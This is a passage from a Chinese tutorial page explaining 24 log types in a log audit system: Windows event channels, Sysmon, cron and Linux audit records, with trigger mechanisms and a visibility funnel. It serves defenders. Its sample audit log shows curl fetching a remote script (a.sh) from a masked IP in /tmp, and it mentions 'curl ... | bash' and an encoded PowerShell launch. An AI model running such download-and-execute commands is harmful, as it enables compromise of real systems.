日志审计 · 首批接入日志类型

24 类日志,
真正要记的只有一条链。

这是自研日志审计系统首批接进来的 6 个规则组。下面不止列清单——每一类都回答同样四个问题:谁写的、凭什么才写、写成什么样、能证明什么。最后给一套可以照着练的认知方法。

主线:日志不是被"采集"到的,是被触发出来的。
你看到的每一条记录,背后都有人先做了一个"要不要记"的决定。

6 规则组 24 类日志 21 张定义卡 4 种触发机制 5 阶认知 4 级输出形态
01 · 全景

先把 24 类放进同一条流水线里

分组看起来是按系统分的,其实是按"谁来解析、从哪个管道进来"分的。看清这一点,才不会把管道规则当成日志类型去背。

图 1日志类型全景:21 个事实源 + 3 层加工
事实层 · 谁产生了这条记录(21 类) Windows 类 · 4 Windows-Application Windows-System Windows-Security Windows-Sysmon 事件日志通道 → Agent / WEF Linux-cron 类 · 1 cron · 计划任务 rsyslog → 文件 Linux 类 - audit · 16 审计目录 用户登录 服务停止 服务开始 用户名错误导致登录失败 用户名计帐 建立用户凭据 建立会话 刷新用户凭据 关闭会话 用户登录认证 指定工作目录 拒绝访问 修改用户认证参数 允许访问 审计日志大类 加工层 · 谁让这条记录能用(3 类) 纯转发 · 不解析 → 日审-windows分流 · 路由 → 定义事件时间 · 定标 日志审计系统 :清洗解析 → 字段归一 → 存储索引 → 检索 → 规则检测 → 告警 / 取证

上图依据截图中的 6 个规则组绘制;"审计目录"在截图中出现两次,可能对应不同的监控路径或 key,此处合并为一条。

分组与数量按你提供的截图逐字;右侧"清洗解析 → 字段归一 → 存储索引 → 检索 → 规则检测 → 告警"是通用流水线示意,不代表你系统里的实际模块划分。

这 24 类里,只有 21 类会产生事实——Windows 4 类、Linux cron 1 类、Linux audit 16 类。剩下 3 类(纯转发、日审-windows分流、定义事件时间)不产生任何新事件,它们只做搬运、路由和定标。

这是新手最容易走偏的地方:把管道规则当日志类型背下来,背得再熟也解释不了"为什么这条日志里没有我要的字段"。因为字段不是管道给的,是源头给的;管道只能让它更整齐,或者更乱。

24 类逐条拆开看

左边选一类,右边按"四问"给出答案。这四问会在后面反复用到。
这是查阅,不是模拟。交互在这里的作用是让 24 类能一屏扫完、随手抽查,不是让某个量变化给你看——第 02 节那 21 张卡已经把答案静态摆好了,这里按需展开。

图有说服力,事实以台账为准 · 台账见第 10 节

02 · R1 受控语言

先让每类日志,用四句话说完

上一节把 24 类摆进了流水线,那是地图。这一节换个角度:一类日志,只用四句话说完——谁写的、什么时候才写、写出来长什么样、能证明什么。
这是卡帕西四级的 R1。它不如图好看,也不如页面好玩,但后面每一级的事实都以它为准。

每张卡分两层。上半是中文,用来记;下半是同一份内容的英文 STE 原文,用来看"一句一事实"落到真句子上是什么样子:一个 record 从头用到尾、不换同义词,否定句永远以 does not prove 起头,和中文的不证明一一对齐。

写这 21 张卡遵守的五条规矩(ASD-STE100 的中文用法)

① 一句只说一件事 ② 用主动语态 ③ 用现在时 ④ 一个词只留一个意思——"写"专指产生记录,"证明"专指证据能力 ⑤ 说不清的地方写"不证明",不写"可能""或许"。
原规范是英文的(约 900 个批准词、程序句 ≤20 词)。所以每张卡的下半层照英文原样写,上半层用中文按同样精神改写:不追词表,只追"一句一事实、不留歧义"。

STE · 01ApplicationApplication.evtx
是什么Application 通道由应用程序写。安装程序也写它。
何时写应用崩溃、报错、安装、升级时,应用写一条。
写什么事件 ID、提供程序、级别、时间。
证明它证明某应用在某刻崩溃或装过。不证明是谁启动了它。
EN

Applications write the Application channel. Installers also write it.

An application writes one record when it crashes, reports an error, installs, or upgrades.

The record holds the event ID, the provider name, the level, and the time.

It proves that an application crashed or was installed at a given time. It does not prove who started the application.

STE · 02SystemSystem.evtx
是什么System 通道由驱动和系统组件写。
何时写服务起停、驱动加载失败、异常关机时,系统写一条。
写什么事件 ID,如 6005、7036、7045、41。
证明它证明系统状态变过。不证明是谁下的命令。
EN

Drivers and system components write the System channel.

The system writes one record when a service starts or stops, a driver fails to load, or the machine shuts down abnormally.

The record holds an event ID, for example 6005, 7036, 7045, or 41.

It proves that the system state changed. It does not prove who gave the command.

STE · 03SecuritySecurity.evtx
是什么Security 通道由本地安全机构写。
何时写只有审核策略打开,它才写。策略关着,它一条不写。
写什么事件 ID、登录类型、账户、来源地址。
证明它证明谁在何时登录成功或失败。不证明登录后做了什么。
EN

The Local Security Authority writes the Security channel.

It writes a record only when the audit policy is on. With the policy off, it writes nothing.

The record holds the event ID, the logon type, the account, and the source address.

It proves who logged on, and when. It does not prove what the user did after logon.

STE · 04SysmonSysmon/Operational
是什么Sysmon 由内核驱动和用户态服务写。它默认不装。
何时写进程启动、网络连接、文件创建时写一条。配置 XML 决定记哪些。
写什么进程哈希、父进程、命令行、目标地址。
证明它证明进程做过什么。不证明这些动作是否合规。
EN

A kernel driver and a user-mode service write Sysmon. Sysmon is not installed by default.

Sysmon writes one record when a process starts, a network connection opens, or a file is created. The configuration XML selects the events.

The record holds the process hash, the parent process, the command line, and the target address.

It proves what a process did. It does not prove whether the action was allowed.

STE · 05cron/var/log/cron
是什么cron 由 crond 守护进程写。
何时写计划任务到期执行时,crond 写一行。
写什么时间、主机、进程号、执行用户、命令。
证明它证明某用户执行过某条命令。不证明命令执行成功。
EN

The crond daemon writes cron.

crond writes one record when a scheduled job runs.

The record holds the time, the host, the process ID, the user, and the command.

It proves that a user ran a command. It does not prove that the command succeeded.

STE · 06审计目录PATH
是什么审计目录由内核 audit 子系统写。它监视指定路径。
何时写受监控目录被写或属性变更时写一条。目录不递归,子目录要单列。
写什么路径、inode、属主、key 标签,外加 syscall 上下文。
证明它证明有人碰过这个目录。不证明改了什么内容。
EN

The kernel audit subsystem writes this type. It watches the given path.

It writes one record when the watched directory changes, or when its attributes change. The watch does not include subdirectories. Add each subdirectory as a separate watch.

The record holds the path, the inode, the owner, the key label, and the syscall context.

It proves that someone touched the directory. It does not prove what content changed.

STE · 07用户登录USER_LOGIN
是什么用户登录由 PAM 会话模块写。
何时写登录成功后,PAM 写一条。
写什么账户、来源 IP、终端、结果。
证明它证明谁从哪台机器登录成功。不证明会话里做了什么。
EN

A PAM session module writes user login.

PAM writes one record after a successful logon.

The record holds the account, the source IP, the terminal, and the result.

It proves who logged on, and from which host. It does not prove what happened in the session.

STE · 08服务停止SERVICE_STOP
是什么服务停止由 systemd 经 audit 写。
何时写停止一个 unit 时写一条。
写什么unit 名、命令、进程号、结果。
证明它证明某服务在某刻停了。不证明是谁下的停止命令。
EN

systemd writes service stop through audit.

systemd writes one record when it stops a unit.

The record holds the unit name, the command, the process ID, and the result.

It proves that a service stopped at a given time. It does not prove who issued the stop command.

STE · 09服务开始SERVICE_START
是什么服务开始由 systemd 经 audit 写。
何时写启动一个 unit 时写一条。
写什么unit 名、命令、进程号、结果。
证明它证明某服务在某刻启动了。不证明这个服务是安全的。
EN

systemd writes service start through audit.

systemd writes one record when it starts a unit.

The record holds the unit name, the command, the process ID, and the result.

It proves that a service started at a given time. It does not prove that the service is safe.

STE · 10用户名错误导致登录失败USER_AUTH res=failed
是什么这条失败记录由 PAM 认证模块写。
何时写认证返回失败时写一条。用户名不存在也写。
写什么账户、来源地址、终端、结果 failed。
证明它证明有人试过登录且失败。不证明这是攻击还是手误。
EN

A PAM authentication module writes this failure record.

It writes one record when authentication fails. It also writes when the user name does not exist.

The record holds the account, the source address, the terminal, and the result failed.

It proves that someone tried to log on and failed. It does not prove whether this was an attack or a typing error.

STE · 11用户名计帐USER_ACCT
是什么账户计账由 PAM 账户模块写。
何时写账户检查执行时写一条。它查账户是否过期、锁定、受限。
写什么账户、结果、来源。
证明它证明这个账户当时能不能用。不证明密码对不对。
EN

A PAM account module writes account accounting.

It writes one record when the account check runs. The check tests whether the account is expired, locked, or restricted.

The record holds the account, the result, and the source.

It proves whether the account was usable at that time. It does not prove whether the password was correct.

STE · 12建立用户凭据CRED_ACQ
是什么建立凭据由 PAM 凭据模块写。
何时写凭据获取成功时写一条。
写什么账户、结果、终端。
证明它证明认证链走通了这一步。不证明用户拿到了新密码。
EN

A PAM credential module writes credential acquisition.

It writes one record when the system gets credentials successfully.

The record holds the account, the result, and the terminal.

It proves that the authentication chain reached this step. It does not prove that the user received a new password.

STE · 13建立会话USER_START
是什么建立会话由 PAM 会话模块写。
何时写会话正式打开时写一条。
写什么账户、来源地址、终端、会话号。
证明它证明会话从这里开始。不证明会话里操作了什么。
EN

A PAM session module writes session start.

It writes one record when the session opens.

The record holds the account, the source address, the terminal, and the session ID.

It proves that the session started here. It does not prove what the session did.

STE · 14刷新用户凭据CRED_REFR
是什么刷新凭据由 PAM 凭据模块写。
何时写凭据续期时写一条。sudo 时间戳续期是典型场景。
写什么账户、结果、命令。
证明它证明凭据被续期。不证明续期后做了什么。
EN

A PAM credential module writes credential refresh.

It writes one record when the system renews credentials. A sudo timestamp renewal is a typical case.

The record holds the account, the result, and the command.

It proves that credentials were renewed. It does not prove what happened after the renewal.

STE · 15关闭会话USER_END
是什么关闭会话由 PAM 会话模块写。
何时写会话正常结束时写一条。断网、断电、强杀都不写。
写什么账户、终端、会话号、结果。
证明它证明会话正常结束。不证明会话没在别处继续。
EN

A PAM session module writes session close.

It writes one record when the session ends normally. It writes nothing when the network drops, the power fails, or a process kills the session.

The record holds the account, the terminal, the session ID, and the result.

It proves that the session ended normally. It does not prove that the session did not continue elsewhere.

STE · 16用户登录认证USER_AUTH
是什么认证记录由 PAM 认证模块写。
何时写认证阶段执行时写一条。成功和失败都写。
写什么账户、来源、终端、结果。
证明它证明密码是否通过。不证明账户是否被锁定。
EN

A PAM authentication module writes the authentication record.

It writes one record at the authentication stage. It writes for both success and failure.

The record holds the account, the source, the terminal, and the result.

It proves whether the password passed. It does not prove whether the account was locked.

STE · 17指定工作目录CWD
是什么工作目录由内核 audit 子系统附带写。
何时写任何被记录的 syscall 都附带当时的 cwd。它不单独产生。
写什么一个绝对路径。
证明它证明命令在哪个目录执行。不证明那个文件是什么。
EN

The kernel audit subsystem adds the working directory to other records.

Every audited syscall carries the current working directory. It never produces a record by itself.

The record holds one absolute path.

It proves which directory the command ran in. It does not prove what the file was.

STE · 18拒绝访问AVC / res=no
是什么拒绝访问由内核安全模块写。
何时写安全策略拒绝一次访问时写一条。SELinux 要处于 enforcing 或 permissive。
写什么拒绝动作、源上下文、目标上下文、类别。
证明它证明越权被拦下了。不证明这是攻击还是配置错。
EN

A kernel security module writes denied access.

It writes one record when a security policy denies an access. SELinux must be in enforcing or permissive mode.

The record holds the denied action, the source context, the target context, and the class.

It proves that the policy blocked the access. It does not prove whether this was an attack or a misconfiguration.

STE · 19修改用户认证参数PATH 命中认证文件
是什么这条由内核 audit 写。它监视认证文件。
何时写有人写 /etc/passwd、/etc/shadow、/etc/pam.d/* 时写一条。
写什么路径、变更类型、属主、key。
证明它证明有人在改账号或 PAM 配置。不证明是谁改的(要配 SYSCALL)。
EN

The kernel audit subsystem writes this type. It watches the authentication files.

It writes one record when a process writes /etc/passwd, /etc/shadow, or a file under /etc/pam.d/.

The record holds the path, the change type, the owner, and the key.

It proves that someone changed an account or a PAM file. It does not prove who changed it. Add a SYSCALL rule for that.

STE · 20允许访问ACCESS res=yes
是什么允许访问由内核 audit 写。
何时写受监控对象被访问且放行时写一条。
写什么访问对象、结果 yes、key。
证明它证明访问确实发生。不证明访问是正当的。
EN

The kernel audit subsystem writes allowed access.

It writes one record when a process accesses a watched object, and the policy allows the access.

The record holds the object, the result yes, and the key.

It proves that the access happened. It does not prove that the access was legitimate.

STE · 21审计日志大类兜底类
是什么这一类由 auditd 自己写。它收容未匹配的记录。
何时写一条记录没命中任何具体规则时,归到这里。
写什么结构不固定,随记录类型变。
证明它证明还有别的记录存在。不证明这些记录不重要。
EN

auditd writes this type. It collects the records that match no other type.

The system puts a record here when the record matches no specific rule.

The structure varies with the record type.

It proves that other records exist. It does not prove that these records are unimportant.

21 张卡读完,你该能做到三件事

① 听到任何一个日志名,先说得出它由谁写。② 被问"这条日志能证明什么",先答"能",再答不能。③ 拿到一张新列表,指得出哪几条根本不是日志类型。

第二件最容易漏。每一张卡的最后一行都是同一种句式——"它证明……不证明……"。这一行比前三行都值钱:日志分析出错的绝大多数情况,不是没读到记录,是把记录读得比它能承载的更多。

03 · 触发

"如何触发"这个问题,其实有四种答案

同一句"这条日志是怎么来的",在四类日志上有四种完全不同的答案。分不清这四种,就只能死记硬背。

策略触发
先声明,才记录。系统本来什么也不记,你告诉它"我要监控这个",命中才写一行。
代表:Windows-Security(审核策略)、Linux audit 全部 16 类(auditctl 规则)。
代价:没配就是永久盲区,而且盲区不会报错。
事件驱动
事情发生了,顺带写一行。日志是系统运行的副产物,你不配它也有。
代表:Windows-Application、Windows-System、Linux cron。
代价:量大、字段随意、噪声高,而且你没得选记什么。
增强探针
额外装一个探针,专门抓细节。用内核回调和 ETW 拿到系统自己不肯记的东西:命令行、父进程、哈希、网络连接。
代表:Windows-Sysmon。
代价:要部署、要调配置,配错了比没有更危险。
管道派生
不产生事实,只加工事实。搬运、路由、给时间定标。
代表:纯转发、日审-windows分流、定义事件时间。
代价:会造成"假可见"——看着有日志,其实没有语义。

前三种决定能不能看见,第四种决定看见的能不能用。
排查"日志里查不到"时,先问自己:是没发生、没记录、没采集,还是采集了没解析?这四个答案对应四个完全不同的修法。

一条日志的完整链路(每一类都走这六步)

图 2六步链路:每一类日志都走同一条路
① 事件源 内核·服务·应用 谁在产生事实 ② 开关 策略·配置·规则 记不记,记多少 ③ 写入口 通道·文件·syslog 落到哪里 ④ 采集 Agent·WEF·转发 怎么进系统 ⑤ 清洗归一 解析·时间·分流 变成可用字段 ⑥ 检测告警 规则·关联·基线 产生判断 ② 是策略触发的专属关卡;③④ 决定采得到采不到;⑤ 是管道层的战场;任何一环断掉,最后都表现为"日志里没有"

六步是本文抽象出的模型,不是你系统里的模块名;实际部署可能把"清洗归一"拆成多个节点。

把这条链记住,你会发现后面 24 类的描述都是在填同一张表。这就是体系化的起点——不是记 24 个名词,是记 1 个模板填 24 次。

04 · Windows 四类

一堵墙里住着四户人,各记各的账

Windows 的四类不是并列的四个文件,而是四种不同的记账方式:应用自己记、系统自己记、安全子系统按你的吩咐记、Sysmon 拿放大镜记。

Application
应用自述。谁装了个软件、谁崩了。
开关:应用自己决定。
System
系统自述。服务起停、异常关机、驱动加载。
开关:开机即有。
Security
按吩咐记账。登录、提权、对象访问。
开关:审核策略(关键)。
Sysmon
放大镜。命令行、父进程、哈希、外联。
开关:配置文件(关键)。

最容易踩的那一脚:Security 日志是"策略驱动"的

很多人第一次做审计,装了采集器、配了规则,然后发现安全日志里什么都没有。原因通常不是采集失败,而是那台机器从来没开过审核策略——没开审核,安全子系统根本不会写这条事件,采集器再努力也采不到不存在的东西。

这个坑的本质是:Security 属于"策略触发",它的可见范围完全由你声明。所以做 Windows 审计的第一件事,永远是核对审核策略,而不是看采集器日志。

4624 里的那个 LogonType,是判断"他是怎么进来的"的关键

拖动滑块,看不同登录类型分别意味着什么。同一个"登录成功",含义可以差出十万八千里。

3

Sysmon 和 Security 为什么不能互相替代

这个问题面试常问,实际工作也常吵。答案很简单:它们记的不是同一件事。

Security 能告诉你:张三在 10:02 从 10.0.0.5 用 RDP 登录成功(4624,LogonType=10)
Sysmon 能告诉你:张三登录后第 8 秒,powershell.exe 带着 -enc 参数启动,父进程 explorer.exe,外连 45.x.x.x:443

一个管身份,一个管行为。查"谁进来了"靠 Security,查"进来干了什么"靠 Sysmon。缺哪个,故事都断一半。

补充一句实话:Sysmon 默认配置抓不到命令行。必须在配置里显式打开进程创建的 CommandLine 包含项,否则你拿到的 Event ID 1 只有进程名——这个问题在真实项目里出现频率极高。

05 · Linux audit

16 类里,只有 1 类是"一条记录",其余都是"一次事件的碎片"

这是 audit 最难理解、也最能体现专业度的地方:你在日志里看到的连续 6 行,其实是同一个动作被拆成了 6 块。

图 3audit 的内部链路:内核 → kauditd → auditd → 文件
内核 audit 子系统 syscall / 文件钩子 kauditd 内核线程 缓冲队列 auditd 用户态守护进程 netlink 收包 audit.log /var/log/audit/ 纯文本,一行一条记录 采集 → 清洗规则 按 type 与 key 分到 16 类 一行可命中多条规则 规则来源:/etc/audit/rules.d/*.rules 或 auditctl 命令行。没有规则 = 没有日志。这就是"策略触发"在 Linux 上的样子。 图有说服力,事实以台账为准

这条链是 Linux 的标准实现(标准事实);右侧"采集器 / 审计系统"是通用示意。

一次 execve,被拆成 6 条记录

下面这段是真实的 audit 日志形态。同样一个 msg=audit(...:8421) 出现 6 次——序号 8421 就是这次事件的身份证。审计系统要做的第一件事,就是把这 6 条拼回 1 条。

type=SYSCALL msg=audit(1730700000.123:8421): syscall=59 success=yes auid=1000 uid=0 exe="/usr/bin/bash" key="exec"
type=EXECVE msg=audit(1730700000.123:8421): argc=3 a0="curl" a1="-s" a2="http://45.9.x.x/a.sh"
type=CWD msg=audit(1730700000.123:8421): cwd="/tmp"
type=PATH msg=audit(1730700000.123:8421): item=0 name="/usr/bin/curl" inode=1187 mode=0100755
type=PATH msg=audit(1730700000.123:8421): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=2049
type=PROCTITLE msg=audit(1730700000.123:8421): proctitle=6375726C002D7300687474703A2F2F34352E392E782E782F612E7368

上面 6 行是同一个动作被拆开的碎片。点一下,看它们怎么合成一件能读懂的事。

注意最后一行 PROCTITLE——它是十六进制编码的。这是审计里一个反复出现的细节:看日志看到一串十六进制,先别以为是乱码,那是故意编码的。不解码,你就看不到真正的命令行,也就看不到 curl ... | bash 这种典型动作。

顺便纠正一个常见误解:SOCKADDR(记录了目标 IP 和端口)并不属于这次 execve 事件。它出现在 connect 类系统调用的事件里。想把"执行了 curl"和"连到了 45.9.x.x"串起来,需要跨事件关联,而不是在同一个 id 里找。

16 类 audit,按"一次登录的生命周期"重排

截图上按字母/编号排列,看起来是散的。按 PAM 阶段重排,你会发现它们其实是同一条线上的先后顺序。

图 416 类 audit,按一次登录的生命周期重排
一次 SSH 登录,PAM 按顺序走六个阶段 用户登录认证 USER_AUTH 密码对不对 用户名计帐 USER_ACCT 账户能不能用 建立用户凭据 CRED_ACQ 授予凭据 建立会话 USER_START 会话正式打开 刷新用户凭据 CRED_REFR sudo 续期等 关闭会话 USER_END 会话结束 用户登录 · USER_LOGIN 记录来源 IP、终端、登录账户 用户名错误导致登录失败 同属 USER_AUTH,但 res=failed 注:同一条 USER_AUTH 记录,按 res 字段拆成了两条规则—— 成功归"用户登录认证",失败归"用户名错误导致登录失败"。

阶段顺序按 PAM 标准(标准事实);中文规则名到记录类型的对应是推理,依据是阶段语义而非厂商文档(见台账 ①)。

这张图解释了一件事:规则粒度不等于日志粒度。一条 USER_AUTH 记录,成功时归到"用户登录认证",失败时归到"用户名错误导致登录失败",同一条记录可能同时满足多条规则的匹配条件。所以规则组里出现两条看起来重名的"审计目录",也就不奇怪了——它们的 key 或监控路径不同。

剩下 8 类,按用途分四堆

文件与权限 · 5 类
审计目录、指定工作目录、允许访问、拒绝访问、修改用户认证参数。
这是 audit 最值钱的部分:后门账户、改 sudoers、读 shadow,全在这里留痕。
服务状态 · 2 类
服务开始、服务停止。对应记录类型 SERVICE_START / SERVICE_STOP。
关掉防火墙、停掉审计服务,这类动作会在这里露出马脚。
身份与会话 · 8 类
就是上面那张生命周期图里的 8 个名字。
价值在"串起来":单独一条信息量很小,8 条连起来才能还原完整登录过程。
兜底 · 1 类
审计日志大类。没被任何具体规则命中的记录全在这里。
它的量在涨,说明你的规则集落后于系统变化了。这是最容易被忽视的健康指标。
06 · 管道层

三个"不是日志类型"的类型

这 3 条规则不产生任何事件,但没有它们,前面 21 类就是一堆没法用的字符串。

纯转发
做什么:数据一到就写进去,不解析、不抽字段、不改结构。
什么时候用:新设备先接进来占位;第三方系统暂时没有解析器;合规要求"原始留存"。
危险在哪:它让你以为"已经接入了"。实际上你只能按关键词全文搜索,做不了任何结构化关联。
日审-windows分流
做什么:按主机、通道、事件 ID、关键字,把 Windows 数据分派到不同的解析管道和存储。
为什么要有:Security 的量级是 System 的几十倍,混在一起查会拖垮检索。
危险在哪:分流键定错了,后面所有关联分析都要返工。分流是"一次定终身"的设计。
定义事件时间
做什么:给每条记录确定"这件事发生在什么时候",做时区归一、格式解析、时钟漂移修正。
为什么它最关键:时间是所有关联分析的坐标系。同一台机器日志里是本地时间、另一台是 UTC、网络设备又是另一种格式——只要有一个没对齐,你算出来的"先 A 后 B"就可能是反的。
三个时间必须分清:事件时间(事情真的发生在那刻)、摄入时间(系统收到它的那刻)、处理时间(规则跑它的那刻)。丢了前两个,只剩第三个,你连"延迟多久"都算不出来。

一条判断标准,可以拿去验收任何新接入的日志

问一句:这条日志能不能回答谁、在什么时候、对什么、做了什么、结果如何?
五个空填不满,就不是"可审计的日志",只是"存下来的文本"。

07 · 认知方法

怎么把 24 个名词,变成一套能长在自己身上的东西

下面三个工具,是我建议你真正带走的部分。清单会过时,方法不会。

工具一:四问一链

遇到任何一类没见过的日志,不要先问"这是什么",按顺序问这四个问题,第五步补上链路:

① 谁写的
找产生者。是内核、驱动、系统服务,还是某个应用?
看清产生者,就看清了可信度。应用自述的日志,应用自己可以撒谎。
② 凭什么才写
找开关。是审核策略、配置项,还是事件本身驱动?
这一问直接决定"会不会漏"。策略触发的日志,没配就是零。
③ 写成什么样
看结构。通道在哪、关键字段叫什么、取值有哪几种。
把枚举值背下来,比背日志名有用得多。比如 LogonType 的 2/3/10。
④ 能证明什么
定边界。它最强能支撑什么结论,最容易被误读成什么。
这一问决定你会不会过度解读。看到 4625 就说"被攻击了",是典型误读。

第五步 · 补链路:把这一类放回"事件源 → 开关 → 写入口 → 采集 → 清洗 → 检测"六步里,标出它在哪一步可能丢。丢在哪,盲区就在哪。

工具二:五阶认知阶梯(本文自建)

"我算不算懂这类日志",用这五阶自评。绝大多数人卡在 L2 就以为到顶了。
先划清界限:这套 L0–L4 量的是"你懂到哪一层",跟卡帕西那套 R1–R4 不是一回事——那套量的是"同一份知识用什么形态交付"。下一节单独讲。

图 5五阶认知阶梯:从报得出名字,到会造日志
L0 名词层 报得出名字 L1 机制层 说清谁写的、何时写 L2 字段层 指得出关键字段与取值 L3 场景层 由日志还原行为 L4 体系层

L4 的标志:能设计采集策略、算覆盖率、主动发现盲区——而不是等出事才去翻日志。

L0–L4 是本文自建的认知模型,没有外部标准可对照;分界处的例子只是示范。

一个具体的判断:如果你能说出"4624 里 LogonType=3 是网络登录",那是 L2。如果你能接着说"所以内网一台机器上突然出现大量 LogonType=3 且账户是普通用户,说明有人在横向移动",那才是 L3。L3 到 L4 的差别是:L3 会用日志,L4 会造日志。

工具三:卡帕西四级 —— 同一份知识,四种交付形态

上面那个阶梯是竖轴(你懂多深),这一节是横轴(同一个知识,用什么形态递到你手上)。Karpathy 在 2026-10-02 提的这套东西,核心一句话:换输出格式,就是换理解杠杆。模型干重活,人负责理解。四级从低到高:

R1受控语言(ASD-STE100)
要模型交什么:用航空维修手册那套受控英语写,或者退一步要"八成靠近 STE"。
硬约束:约 900 个批准词、一词只留一义;程序句 ≤20 词、一句一个动作;描述句 ≤25 词、一段 ≤6 句;主动语态;名词串 ≤3 词。
解决什么:文字冗长含糊、一句话塞三件事。
日志审计怎么用:写交接 SOP、值班手册。"首先……然后……同时……"这类句子会被逼成一步一步。
R2图(SVG / Mermaid)
要模型交什么:干脆别写字,给一张能单独看懂的图。
解决什么:线性文字讲不清结构与关系。文字是一条线,读者只能从头读到尾;图是一个平面,眼睛可以自己决定先看哪。
日志审计怎么用:数据流、规则拓扑、一次登录的生命周期、16 类 audit 的先后顺序。
本页对应:第 01 节的全景图、第 05 节的 PAM 重排图,都是 R2。
R3单文件交互网页(HTML)
要模型交什么:一个 HTML 文件,能点、能拖、能调参,双击就开。
解决什么:静态内容没法探索。读者可以自己把参数调大,看会发生什么——每往上一阶,读者自己拼凑理解的活儿就少一点,转移到生产端。
日志审计怎么用:就是你现在看的这个页面。漏斗的四个率可以拖,24 类可以筛,LogonType 可以从 0 拉到 11。
本页对应:整站即 R3(单文件、零外链)。
R4定制解说视频(3b1b 风格)
要模型交什么:针对这个主题专门做一支解说视频,旁白用 TTS 配音。
解决什么:需要时间维度上的引导——先讲什么、后讲什么,节奏本身就是信息。这是 Karpathy 最看好的一级,原话是"this is actually starting to work",注意他加了个"开始"。
日志审计怎么用:新人培训、月度复盘。
代价:必须先有 R1 文字稿当骨架。视频会把错误放大得最厉害,没有文字稿直接做视频,等于把错误镀了金。

这四级有个反作用力,必须一起记

每升一级,格式的说服力在放大,但事实的准确性一点没变。
一段文字写错了,读者会怀疑;一张图画错了,读者会相信;一个能拖动的页面展示了一个错的关系,读者会记住它。
所以规矩是:升级格式之前,先把事实固定在一份文字稿上;每升一级,回到那份文字稿核一次。这也是本页第 10 节台账存在的原因——图越好看,越要说清哪句是图上抄的、哪句是我推的。

配套一条判据:交互只用在"变化本身有解释价值"的地方

这句话是从一个讲 Kubernetes 的四级页面里学来的,很短,但砍得掉一半的交互想法。判断只要一步:把这个交互做成静态的,信息会损失吗?不损失,它就不是解释,是装饰。

本页 5 个交互件,按这条判据过了一遍,结果留在这里:

交互件变化的量做成静态会损失什么结论
24 类探索器 筛选范围、选中项 不损失信息,只损失"能不能一屏扫完" 保留,但降级定位为查阅
LogonType 滑块 0–11 的取值 丢掉"同一个 4624,含义可以完全不同"这个对比 过闸
合并视图 6 条碎片 / 1 条事件 丢掉"这六行原本是同一件事"的那一下顿悟 过闸
漏斗四率 四个比率 丢不掉结论,但丢掉"每层只丢一点、乘起来是灾难"的手感 过闸
自测 10 题 答案、得分、解析 丢掉"我到底卡在哪一层"的即时反馈 过闸

第一条是关键:探索器算不上"变化有解释价值",它只是内容太多、一屏放不下。该保留就保留,但要诚实地叫它查阅,不能当成"交互设计"来邀功。把这一条想清楚,页面上就不会出现那种"拖了半天什么也没学到"的滑块。

本页的 R4:把这条主线做成一支片子

四级讲完了,这一级得拿出东西来。下面这支片子讲的是整页的主线——日志不是被采集到的,是被触发出来的。四道门,一次乘法,五个答案。

两轴怎么配:别给 L0 的人做视频

认知层级 × 输出形态,最划算的组合其实很固定:

L0 → L1 | 配 R1
还在背名字、理机制的阶段,一句干净的话比一个能拖的页面管用。这时候做交互,只是分散注意力。
L2 → L3 | 配 R3
记字段、还原行为。LogonType 从 2 拖到 10 看结论怎么翻——这种"参数一动、判断就变"的东西,只有交互讲得透。
L4 | 配 R2 + 台账
到了设计采集策略、算覆盖率的层次,你要的是全局结构和证据边界。这时候一张能被质疑的图,比十张好看的图值钱。

R4 什么时候真值得做:一是给零基础的人第一次建立整套框架,二是同一套内容要讲给一批人(培训、复盘)。单个概念不值得做视频——那是拿最贵的格式,讲最轻的内容。

工具四:可见性漏斗

这是我认为最值得反复看的一张图。它解释了为什么"我们接了日志"和"我们能看见"之间差着一条鸿沟。

图 6可见性漏斗:1000 次真实事件,最后剩下多少次
记录率90%
采集率85%
解析率70%
检出率50%
1000 次
发生
记录
900
采集
765
解析
536
检出
268

拖动四层滑块,看最终有多少真实事件真正变成你能看到的告警。

最终可见
26.8%
1000 次真实事件里,268 次会被你看见。

每层都只丢"一点点",乘起来就是灾难。四层各留 90% 已经算理想,结果是 65.6%;现实往往比这更低。

这张图最有用的地方,是把"为什么没查到"从一句玄学,变成了四道可以逐个排查的算术题。发现问题时不要笼统地说"日志不全",要问是在哪一层丢的:是策略没开(记录率)、Agent 没覆盖这台机器(采集率)、字段没解析出来(解析率),还是规则根本没写(检出率)。

四层之间不是独立事件,实际会相互影响。这里用乘法只是为了建立一个量级直觉,不是严谨的概率模型。默认的 90 / 85 / 70 / 50 是假设值,不是你系统的实测——换成你自己的数,结论可能完全不同(见台账 ④)。

顺手带走:日志的"价值密度"

同样是日志,有的每天百万行没一条有用,有的一年出现三次、每次都要拉警报。下面把 21 类事实型日志按"体积"和"证据力"摆开。

图 7价值密度:21 类日志按体积与证据力摆开
稀少 · 高价值 —— 见到就该细看 海量 · 高价值 —— 检测工程的主战场 稀少 · 低价值 —— 优先降本 海量 · 低价值 —— 必须过滤/降采样 日志体积 → 证据力 →
策略触发(17) 事件驱动(3) 增强探针(1) 管道 3 类不产生事实,未列入

体积与证据力是经验评分,不是实测数据(见台账 ②);象限分界是示意。

四个象限对应四种处理策略:左上全部保留并重点告警;右上是检测工程的主战场,要写规则、要做基线;右下必须降采样或只留聚合值,否则存储先崩;左下只在取证时按需拉取。

专业和不专业的分水岭,往往就在这张图上:不专业的人想"全部采集、全部保留",三个月后存储告警;专业的人会先问"这条日志进哪个象限",再决定保留策略。

08 · 学习路线

从"认得 24 个名字"到"能设计采集方案"

按 30 / 90 / 180 天三段走。每一段都以"能做成一件具体的事"为毕业标准,不以"看完多少资料"为标准。

前 30 天 · 建立坐标系
目标:能把任意一条日志放进六步链路的正确位置。
做三件事:
1. 用四问给自己讲一遍全部 24 类,讲不通的打标记;
2. 在真实环境里找到每一类的第一条原始样本,存成自己的样本库;
3. 把 Windows 常用事件 ID 和 audit 记录类型各抄一遍(手抄,不复制)。
毕业标准:给你一条陌生日志,30 秒内说出它属于哪一步、开关是什么。
30–90 天 · 学会还原
目标:由日志还原一次完整行为,而不是读单条记录。
做三件事:
1. 自己造三个场景:一次失败爆破、一次计划任务持久化、一次异常提权,然后只用日志把它们还原出来;
2. 练习跨源关联:用 Security 的 4624 找"谁来了",用 Sysmon 找"他干了什么",拼成一条时间线;
3. 把 audit 的 6 条记录合并成一条事件,手工做一遍,理解合并逻辑。
毕业标准:拿到一个时间点,能说清"这五分钟里这台机器发生了什么"。
90–180 天 · 学会设计
目标:能独立设计一套日志接入方案,并算出它的盲区。
做三件事:
1. 给一个业务系统做接入方案:采什么、不采什么、保留多久、怎么分流;
